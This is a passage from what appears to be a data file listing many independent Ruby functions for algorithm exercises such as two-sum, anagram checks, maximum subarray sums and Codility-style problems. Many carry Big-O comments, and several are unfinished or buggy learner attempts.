0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend", "def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend", "def fourth_anagram?(str1, str2)\n hash1 = Hash.new(0)#O(1)\n beginning_time = Time.now\n str1.each_char {|char| hash1[char]+=1}#O(n)\n str2.each_char {|char| hash1[char]-=1}#O(n)\n hash1.all? {|_, v| v.zero?}#O(n)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend", "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend", "def solution(a)\n # write your code in Ruby 2.2\n num_of_elements=a.length\n num_of_zeros=0\n tot_num_car_pairs=0\n a.each do |element|\n if element == 0\n num_of_zeros+=1\n else\n tot_num_car_pairs+=num_of_zeros\n end\n end\n return tot_num_car_pairs>1_000_000_000?-1:tot_num_car_pairs\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend", "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def second_anagram?(word1, word2)\n p \"Running second_anagram?...\" \n\n start = Time.now\n word2 = word2.split(\"\") #O(n)\n word1.each_char do |char| #O(n)\n char_index = word2.index(char) #O(n)\n if char_index.nil? #O(1)\n return false #O(1)\n else\n word2.delete_at(char_index) #O(1)\n end\n end\n word2.empty? #O(1)\n p \"Took #{Time.now - start} seconds\"\nend", "def slow_solution(a)\n m = 0\n a.size.times do |i|\n a[i] = a[i].abs\n m = [a[i], m].max\n end\n maxsum = a.sum # sum of absolute val of all nums in array\n # maxsum = a.map(&:abs).sum <- Ruby shortcut\n\n # If dp = 1 at an index, it means some combo of elements in a add up to that index\n dp = [0] * (maxsum + 1)\n dp[0] = 1\n\n a.size.times do |j|\n maxsum.downto(0).each do |possible_sum|\n puts \"a[j]: #{a[j]}, possible sum: #{possible_sum}\"\n if (dp[possible_sum] == 1) and (possible_sum + a[j] <= maxsum)\n\n # if possible_sum + new element a[j] is possible sum, dp = 1!\n dp[possible_sum + a[j]] = 1\n puts \"Mark #{possible_sum + a[j]} as possible sum in dp\"\n end\n end\n puts \"row: #{j}, a[j]: #{a[j]}, dp: #{dp}\"\n puts\n end\n\n min_q_minus_p = maxsum\n\n # Divide array a into 2 parts, where P = sum of part 1 and Q = sum of part 2,\n # P + Q = maxsum, and P <= maxsum / 2 <= Q.\n # We want largest possible P to get smallest possible Q-P.\n\n # loop from 0 to maxsum / 2, covering every possible P, Q division\n (maxsum / 2 + 1).times do |possible_half_sum|\n # puts \"possible_half_sum: #{possible_half_sum}\"\n if dp[possible_half_sum] == 1 # means P or Q = possible_half_sum\n q_minus_p = maxsum - 2 * possible_half_sum\n # puts \"Q - P: #{q_minus_p}\"\n min_q_minus_p = [min_q_minus_p, q_minus_p].min\n # puts \"min Q - P: #{min_q_minus_p}\"\n end\n end\n\n min_q_minus_p\nend", "def seesaw2?(arr)\n left_sum = 0\n right_sum = arr.size > 1 ? arr[1..-1].reduce(:+) : 0\n\n arr.each_index do |i| #O(n)\n return true if left_sum == right_sum\n left_sum += arr[i]\n i < arr.size-1 ? right_sum -= arr[i+1] : right_sum = 0\n end\n return false\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def solution(arr)\n zeros = 0\n pass_cars = 0\n\n (0...arr.size).each do |idx|\n arr[idx] == 0 ? zeros += 1 : pass_cars += zeros\n\n return -1 if pass_cars > 1000000000\n end\n\n pass_cars\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend", "def two_sum?(arr, target_sum)\n hash = {}\n arr.each do |ele|\n diff = target_sum - ele\n return true if hash.has_key?(diff) # O(1), or constant time\n hash[ele] = 0\n end\n false\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "def largest_contiguous_subsum(arr) #BigO of O(n)\n max = 0 \n current_sum = 0\n arr.each_with_index do |el,idx|\n if current_sum + el >= el \n current_sum += el \n else \n current_sum = el \n end \n max = current_sum if current_sum > max \n end \n max\nend", "def solution_slow_2(n, p, q)\n sieve = sieve_of_erathosteneses(n)\n # puts \"sieve:#{sieve}\"\n semi = semiprimes(n, sieve)\n # puts \"sp:#{semi}\"\n prefix = [0,0,0,0,1]\n 5.upto(n) do |x|\n if semi.include? x \n prefix << prefix.last + 1\n else\n prefix << prefix.last\n end\n end\n # puts \"prefix:#{prefix}\"\n\n queries = [p,q].transpose\n\n\n res = queries.map do |query|\n prefix[query.last] - prefix[query.first - 1]\n end\n\n # puts \"res:#{res}\"\n\n res\n end", "def second_anagram?(word_1, word_2) #O(n^2)\n matching_word = word_2.split(\"\")\n\n word_1.each_char do |ele|\n if matching_word.index(ele) #evaluating the conditional\n matching_word.delete_at(matching_word.index(ele)) #n many times, do this\n end\n end\n\n matching_word.empty? #constant O(1)\nend", "def two_sum_v3?(arr, target) \n hash = Hash.new\n arr.each { |ele| hash[ele] = ele } #o(n)\n arr.each do |ele| #o(n)\n search_value = target - ele\n return true if !hash[search_value].nil? && hash[search_value] != ele\n end\n false\nend", "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend", "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend", "def find_duplicate_space(nums)\n floor = 0\n ceiling = nums.length - 1\n\n while floor < ceiling\n possible_distinct_count_first_half = 0\n possible_distinct_count_second_half = 0\n count_first_half = 0\n count_second_half = 0\n\n middle_i = floor + (ceiling - floor)\n\n (floor..middle_i-1).each do |i|\n possible_distinct_count_first_half += 1\n\n count_first_half += 1 if nums[i] >= nums[floor] && nums[i] <= nums[middle_i-1]\n end\n\n (middle_i..ceiling).each do |i|\n possible_distinct_count_second_half += 1\n count_second_half += 1 if nums[i] <= nums[ceiling] && nums[i] >= nums[middle_i]\n end\n\n if count_first_half > possible_distinct_count_first_half\n ceiling = middle_i\n elsif count_second_half < possible_distinct_count_second_half\n floor = middle_i\n end\n end\n\n return nums[floor]\nend", "def two_sum_to_zero?(array)\n # len = array.length - 1\n # len.times do |i|\n # (i + 1).upto(len) do |j|\n # return true if array[i] + array[j] == 0\n # end\n # end\n # false\n nums_hash = {}\n array.each do |el|\n return true if nums_hash[-(el)]\n nums_hash[el] = true\n end\n false\nend", "def cache_intersection2(nums1, nums2)\n outer_cache = {}\n nums1.each do |n|\n next if outer_cache[n]\n outer_cache[n] = true\n end\n array = []\n inner_cache = {}\n nums2.each do |n|\n next if inner_cache[n]\n array << n if outer_cache[n]\n inner_cache[n] = true\n end\n array\nend", "def anagram4(str1, str2)\n count = Hash.new(0) #O(1)\n \n str1.each_char do |char| #O(n)\n count[char] += 1 #O(1)\n end\n\n str2.each_char do |char| #O(n)\n count[char] -= 1 #O(1)\n end\n\n # count.values.uniq.length == 1\n count.values.each do |v| #O(n)\n return false if v > 0\n end\n true\nend", "def okay_two_sum(arr, target)\n #O(n)\n arr.sort!\n i = 0\n j = arr.length - 1\n while i < j\n sum = arr[i] + arr[j]\n return true if sum == target\n if sum < target\n i += 1\n else\n j -= 1\n end\n end\n false\nend", "def solution(a)\n result = 0\n tmp_count = 0\n a.each_with_index do |val, idx|\n if val.zero?\n tmp_count += 1\n else\n result += tmp_count\n end\n end\n return result > 1000000000 ? -1 : result\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def three_sum(nums)\n n = nums.length\n result = []\n for i in 0...n-2\n req_sum = 0\n hsh = Hash.new\n curr_sum = req_sum - nums[i]\n \n for j in (i+1)...n\n num = curr_sum - nums[j]\n if hsh[num]\n elements = [nums[i], num, nums[j]].sort\n result << elements unless result.include?(elements)\n end\n hsh[nums[j]] = true\n end \n end\n result\nend", "def solve( n = 100_000_000 )\n # Assuming the largest valid sum of squares is S = a^2 + (a - 1)^2 < n,\n # first find a and set aside space to cache that many running sums.\n len = (1 + Math.sqrt( 2*n )) / 2\n sos = Array.new( len )\n\n seen = []\n sos[0] = 1\n\n (1...len).each do |i|\n # Precompute the ∑ i^2 for all i <= a. \n ds = i*i + 2*i + 1\n sos[i] = sos[i - 1] + ds\n\n seen << sos[i] if sos[i].palindrome?\n\n # Most of the sum of square values will exceed n, so subtract lower sums\n # to check shorter runs.\n (i - 2).downto( 0 ) do |j|\n diff = sos[i] - sos[j]\n break unless diff < n\n\n # Update our total if the shorter run a[j] + a[j + 1] + ... + a[i] is\n # a palindrome.\n seen << diff if diff.palindrome?\n end\n end\n\n seen.uniq.reduce( :+ )\n end", "def problem10()\n\tsum = 0; Prime.each(2000000) {|i| sum += i}; return sum\nend", "def pairSumSequence(n)\n sum = 0\n\n for i in 0..n\n # pairSum calls do not exist simultabeously on\n # the call stack, so you only need O(1) space\n sum += pairSum(i, i + 1)\n puts \"sum += (#{i + i + 1}) #{i} + #{i} + 1 \"\n end\n\n return sum\nend", "def two_sum(nums)\n special = []\n count = 0\n x = nums.length\n i = 0\n j = 1\n while (i < x) && (i + j) < x\n \n if nums[i] + nums[i + j] == 0\n special[count] = i\n count += 1\n special[count] = i + j\n count += 1\n if i + j + 1 < x\n j = j + 1\n else \n i += 1\n j = 1\n end\n \n elsif nums[i] + nums[i+j] != 0 && (i + j + 1) < x\n j = j + 1\n \n elsif nums[i] + nums[i+j] != 0 && (i + j + 1) >= x && (i + 2) < x\n i += 1\n j = 1\n \n elsif i+2 == x && special.length != 0\n i += 3 \n elsif i+2 == x && special.length == 0\n return nil\n end \n end \n return special\nend", "def sum_upon_sums(array)\n # Step 0: initialize variables => O(1)\n max = -1\n sum = 0\n\n # Step 1: Get Max and Sum => O(n)\n array.each do |num|\n max = num if num >= max\n sum += num\n end\n\n # Step 2: Get summation => O(1)\n summation = max * (max + 1) / 2\n\n # Step 3: Return Missing value by subtracting summation and sum => O(1)\n summation - sum\nend", "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def hardcore_two_sum?(arr, target)\n nums = {}\n arr.each{ |n| nums[n] = n }\n\n nums.each do |n,_|\n needed = target - n\n return true if !nums[needed].nil? && nums[needed] != n\n end\n\n false\nend", "def okay_two_sum?(arr, target)\r\n arr = arr.sort #n log n\r\n i, j = 0, arr.length - 1 #2\r\n\r\n while j > i #n\r\n curr_sum = arr[i] + arr[j]\r\n if curr_sum > target\r\n j -= 1\r\n elsif curr_sum < target\r\n i += 1\r\n else\r\n return true\r\n end\r\n end\r\n false\r\nend", "def remove_duplicates(nums)\n record_leng = 0\n uniq_arr = nums.uniq\n uniq_arr.each do |i|\n record_leng += 1 if count_great_two?(nums, i)\n end\n return (record_leng + uniq_arr.size)\nend", "def naive(array)\n max = -10000\n for i in (0..array.length - 1)\n for j in (i..array.length - 1)\n total = array[i..j].inject { |m,k| m + k }\n max = total if total > max\n end\n end\n max\nend", "def largest_contiguous_subsum_fast(list)\n start = Time.now\n max_sum = list[0]\n cur_sum = list[0]\n list[1..-1].each do |el|\n if el >= cur_sum && cur_sum < 0\n cur_sum = el\n else\n cur_sum += el\n end\n max_sum = cur_sum if cur_sum > max_sum\n end\n finish = Time.now\n puts \"Runtime: #{finish - start}\"\n return max_sum\nend", "def compute_cache\n\n\t\t# cache of equality will be stored on @equals\n\t\t# we store if a number if equal to the successor\n\t\t@equals = Array.new( @sequence.size )\n\n\t\t# for every number on the list\n\t\ti = 0\n\t\t@sequence.reduce do |left,right|\n\n\t\t\t# We compute and store the equality\n\t\t\t@equals[i] = ( left === right )\n\n\t\t\t# next number!!!\n\t\t\ti += 1\n\n\t\t\t# we return right to continue the reduce\n\t\t\tright\n\t\tend\n\n\t\t# The last number is NOT equal to the successor\n\t\t@equals[ i ] = false\n\tend", "def fast_hash_additive_find(arr, target)\n lookup_table = Hash.new\n\n arr.each do |element|\n return true if lookup_table[target - element]\n if lookup_table[element]\n lookup_table[element] += 1\n else\n lookup_table[element] = 1\n end\n end\n\n return false\n end", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def my_min2 # O(n) time complexity\n smallest = self.first\n self.each do |num|\n sleep(1)\n smallest = num if num < smallest \n end\n smallest\n end", "def isSumOfTwoAbundantNumbers n\n\n # we'll cycle over all abundant numbers less than n / 2\n if n / 2 < @@listOfAbundants.first\n return false\n end\n\n if @@listOfAbundants.last < n / 2\n for i in ((@@listOfAbundants.last + 1)..n)\n if isAbundant i\n @@listOfAbundants.push i\n end\n end\n end\n\n for a in @@listOfAbundants\n if a > n /2 \n return false\n end\n \n pair = n - a\n if @@listOfAbundants.include? pair\n return true\n end\n end\n\nend", "def awesome(arr, target)\n hash = Hash.new(0)\n i = 0\n j = i + 1\n while i < arr.size\n hash[arr[i] + arr[j]] += 1 \n if j < arr.size\n j += 1\n else\n i += 1\n if j = i + 1 > arr.length\n j = i \n else\n j = i + 1\n \n end\n\n end\n \n end\n return true if hash[target] >= 1\n false\nend", "def second_anagram?(str1, str2) #quadratic\r\n\r\n split = str2.split(\"\") #O(n)\r\n str1.split(\"\").each do |c| #O(n) <\r\n split.delete(c) #O(n) ^ O(n^2) when nested in above each block\r\n end\r\n\r\n split.empty?\r\nend", "def fourth_anagram?(str1, str2)\n\n str1_hash = Hash.new {|h,k| h[k] = 0 } # O(1)\n str2_hash = Hash.new {|h,k| h[k] = 0 } # O(1)\n\n str1.each_char do |char| # O(n)\n str1_hash[char] += 1\n end\n\n str2.each_char do |char| # O(n)\n str2_hash[char] += 1\n end\n\n str1_hash == str2_hash # O(1)\n\nend", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def problem18(r) \n h = r.length\n sum = 0\n for i in 0..h-1 \n \n end\nend", "def solution2\n n = 1000\n\n hsh = Hash.new([])\n\n (1..n).each do |x|\n (1..n).each do |y|\n hsh[x**3 + y**3] += [x, y]\n end\n end\n\n hsh.values\nend", "def two_sum(array, target_sum)\n hash = {}\n array.each do |ele|\n hash[target_sum - ele] = ele\n end \n array.each do |ele|\n # debugger\n return true if !(hash[ele].nil? || hash[ele] == ele) \n end \n false \nend", "def move_zeros(array)\n zero_count = 0\n # O(n)\n array.each do |num|\n\n zero_count += 1 if num == 0\n end\n\n # O(n)\n array = array.select { |num| num != 0 }\n \n # O(1)\n zero_count.times do\n array += [0]\n end\n\n array\nend", "def solution(a)\n return 0 if a.uniq.size != a.size\n \n max = a.size \n sum = (1 + max) * max / 2\n \n array_sum = a.inject(0, &:+) \n sum == array_sum ? 1 : 0 \nend", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def optimize(ary, total)\n return [] if ary.empty?\n table = []\n (ary.size+1).times { |i| table[i] = [] }\n (0..total).each { |zerg| table[0][zerg] = 0 }\n (1..ary.size).each do |base|\n table[base][0] = 0\n (1..total).each do |zerg|\n if ary[base-1].zerg <= zerg && (ary[base-1].minerals + table[base-1][zerg - ary[base-1].zerg] > table[base-1][zerg])\n table[base][zerg] = ary[base-1].minerals + table[base-1][zerg - ary[base-1][1]]\n else\n table[base][zerg] = table[base-1][zerg]\n end\n end\n end\n result = []\n i, k = ary.size, total\n while i > 0 && k > 0\n if table[i][k] != table[i-1][k]\n result << ary[i-1]\n k -= ary[i-1].zerg\n end\n i -= 1\n end\n result\nend", "def improving_complexity_version_three(*arrays)\n return nil if !arrays.kind_of?(Array)\n\n arrays.flatten!\n\n # Reused my heap_sort. I also refactored my heap_sort to sort in place (took an iterative approach instead of recursion).\n return heap_sort(arrays)\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def largest_contiguous_subsum2(list)\n # O(N) ==> Time\n # O(1) ==> Space\n largest = list.first\n curr = list.first\n\n len = list.length\n (1...len).each do |i|\n curr = 0 if curr < 0 \n curr += list[i]\n largest = curr if curr > largest\n end\n largest\nend", "def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend", "def okay_two_sum?(arr, target)\n\n arr.each do |ele1| # O(n)\n # debugger\n found = arr.bsearch do |ele2|\n # debugger\n (target - ele1) == ele2\n end\n return true unless found.nil? || arr.index(found) == arr.index(ele1)\n end\n false\nend", "def large_contig_subsum2(arr)\n timestart = Time.now\n max_sum = 0\n curr_sum = 0\n i = 0\n while i < arr.length\n if arr[i] + curr_sum > 0\n curr_sum += arr[i]\n max_sum = curr_sum if curr_sum > max_sum\n else\n curr_sum = 0\n end\n i += 1\n end\n\n p (Time.now - timestart) * 1000\n max_sum\nend", "def largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend", "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "def solution(a)\n # write your code in Ruby 2.2\n \n is_perm = 0\n \n n = a.length\n b = [0]*n\n \n \n a.each do |v|\n break if v > n \n break if b[v] == 1 \n b[v] = 1\n end\n \n sum = b.inject(:+)\n if sum == n\n is_perm = 1\n end\n \n is_perm\nend", "def faster_cont_sum(arr)\n # debugger\n sum = arr[0]\n bool = true\n run_tot = arr[0]\n arr[1..-1].each do |e|\n if bool == false && e > sum\n sum = e\n bool = true\n run_tot = e\n elsif bool == true && e + sum > sum\n sum += e\n run_tot += e\n elsif bool == true && e > sum\n sum = e\n else \n bool = false\n run_tot += e\n end \n end \n sum >= run_tot ? sum : run_tot\nend", "def bad_two_sum?(arr, target_sum) #O(n^2)\n (0...arr.length).each do |i|\n (i+1...arr.length).each do |j|\n return true if arr[i] + arr[j] == target_sum\n end\n end\n false\nend", "def okay_two_sum?(array, 